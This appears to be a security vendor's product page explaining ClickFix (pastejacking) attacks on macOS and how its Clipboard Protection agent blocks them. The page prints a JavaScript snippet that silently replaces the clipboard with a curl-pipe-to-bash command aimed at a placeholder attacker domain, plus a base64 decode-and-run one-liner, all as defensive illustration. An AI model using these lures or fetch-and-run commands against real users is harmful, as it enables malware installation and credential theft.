New series: Endpoint Security in the AI Age. Read part 1

The user runs the malware for you.

A fake CAPTCHA, a "fix" for a common error, a one-line installer. ClickFix lures convince someone to copy a command and paste it into Terminal, where Apple-signed binaries fetch the payload. No download prompt, no Gatekeeper, no notarization check. Here's how it works and how Phorion stops it.

What is ClickFix?

ClickFix, also called pastejacking, is a social engineering attack that gets the user to run the attacker’s command for them. A web page, chat message or document gives them a plausible reason, like proving they’re human, fixing an error or installing a tool, and a command to paste into Terminal.

It works because nothing about it looks like malware arriving. There’s no app to download, so Gatekeeper and notarization never come into play. The command runs with the user’s own permissions, through curl, bash and osascript, all signed by Apple and present on every Mac.

Why it matters

  • It’s how stealers get in. The second stage is usually an infostealer, which takes browser sessions, passwords and keys within seconds.
  • The lures keep changing. Fake CAPTCHAs, browser “fixes”, fake one-line installers for popular tools, and even drag-and-drop variants that avoid the keyboard altogether.
  • Developers are a natural target. Pasting install commands from documentation is routine work, so a malicious one looks like any other.

How a ClickFix attack works

The lure fills the clipboard

The user lands on a page, often through a malicious ad or a compromised site, that shows a familiar-looking check. Clicking it doesn’t verify anything. It silently replaces the clipboard with the attacker’s command, then shows the “steps to finish verification”.

verifyButton.addEventListener('click', () => {
  navigator.clipboard.writeText('curl -fsSL https://<attacker-domain>/fix | bash');
  showSteps(); // "Press ⌘ Space, type Terminal, press ⌘V, then Return"
});
The user never sees the command until it’s already in Terminal.

The paste runs it

The user opens Terminal, iTerm, Warp or Ghostty and pastes. Many lures hide the real command behind an encoding layer, so a glance at the screen, or a naive pattern match, reveals nothing about where it goes.

echo '<base64-encoded command>' | base64 -d | bash
The same command, base64-encoded. It decodes and runs in one line.

Apple-signed tools fetch the payload

curl downloads a script and bash runs it. The script typically shows a fake password dialog with osascript, then downloads and launches the real payload. Because a terminal process wrote the file, it carries no quarantine flag, and Gatekeeper never checks it.

Why the usual controls miss it

Nothing to notarize
There's no app to download. The user types the command, so Gatekeeper and notarization never come into play.
Apple's own binaries
curl, bash and osascript are signed by Apple and present on every Mac. Allowlists and hash checks see nothing wrong.
Built-in warnings are narrow
macOS Tahoe's Terminal paste warning skips developers and recent Terminal users, and XProtect's check relies on domains already in Apple's blocklist.

Apple’s new defences in macOS Tahoe 26.4 are a welcome step, but they only fire under specific conditions and rely on domains Apple already knows are bad. Security teams still need content-level checks, every paste vector covered, and a record of what happened.

How Phorion stops ClickFix

Phorion’s agent watches the whole clipboard journey, not just the command that lands in Terminal:

  • Where the content came from: the app that put it on the clipboard and the page it was copied from, even when it’s replayed later from Raycast, Alfred or Maccy.
  • Where it’s going: a paste into a terminal emulator, the usual ClickFix destination.
  • What it contains: checked against configurable heuristics like suspicious curl flags, encoded payloads and command chaining.
  • How it was pasted: ⌘V, right-click and toolbar menus, or drag-and-drop.

If a paste does slip through, the payload still runs into the rest of the stack:

  1. Lure

    A page, chat message or doc asks the user to verify they're human, fix an error, or install a tool by running a command.

    Source trackedPhorion

    Copied in Chrome

    page URL attached to the paste

    Stopped by Source tracking

  2. Paste

    The user pastes into Terminal, iTerm, Warp or Ghostty with ⌘V, a right-click menu, or a drag-and-drop.

    Paste blockedPhorion

    Terminal

    curl -fsSL …/verify.sh | bash

    Stopped by Clipboard Protection

  3. Execution

    curl, bash and osascript, all signed by Apple, fetch and run a second stage. Usually an infostealer.

    Execution blockedPhorion

    osascript

    parent: a Terminal paste

    Stopped by Process Execution Control and DoubleYou

  4. Theft

    The payload goes for browser sessions, credentials and keys, then exfiltrates them.

    Read deniedPhorion

    Chrome Cookies

    by an unsigned process

    Stopped by File Access Control

Protect users without blocking work

Developers paste legitimate commands from documentation all day. Pick the level of enforcement that matches your risk appetite, then pair any mode with an interactive prompt.

Audit

Evaluate every paste, block nothing. Rich telemetry lets you baseline normal clipboard workflows before enforcing.

Block

Block every paste from monitored sources to protected destinations, regardless of content.

Phorion

Paste into Terminal intercepted

From
Google Chrome · <attacker-domain>
To
Terminal
curl -fsSL https://<attacker-domain>/fix | bash
Allow Cancel paste

Blocks automatically if unanswered

Ask the user, keep the audit trail

Any mode can show the user exactly what's about to be pasted and where it came from. A "Remember" option quiets prompts for the rest of a trusted terminal session. Every outcome, blocked, timed out or allowed, is logged for your security team.

Sources, destinations, heuristics and exclusions are all yours to define. Add Slack or Teams as sources, exclude your internal wiki’s one-liners, or tune the patterns.

Built with privacy in mind

  • Password managers like 1Password, Bitwarden and Apple Passwords are never monitored, as source or destination.
  • Secrets are redacted from clipboard snippets before they leave the device.
  • Snippet length is configurable down to zero. Content is still hashed, so you can correlate payloads across the fleet.

Introducing Clipboard Protection

The full write-up: Apple's new paste defences, the four signals Phorion observes, blocking modes, and how to tune it for your fleet.

  • ClickFix
  • Clipboard Protection
Read the launch post

See how Phorion protects your macOS fleet

Purpose-built by macOS security researchers. One lightweight agent delivering detection, prevention, and visibility.

Ready to see it in action? Book a demo and we'll show you how Phorion can protect your fleet.

Book a Demo

Error

Expect a personal email from our team.

Pricing About Us Blog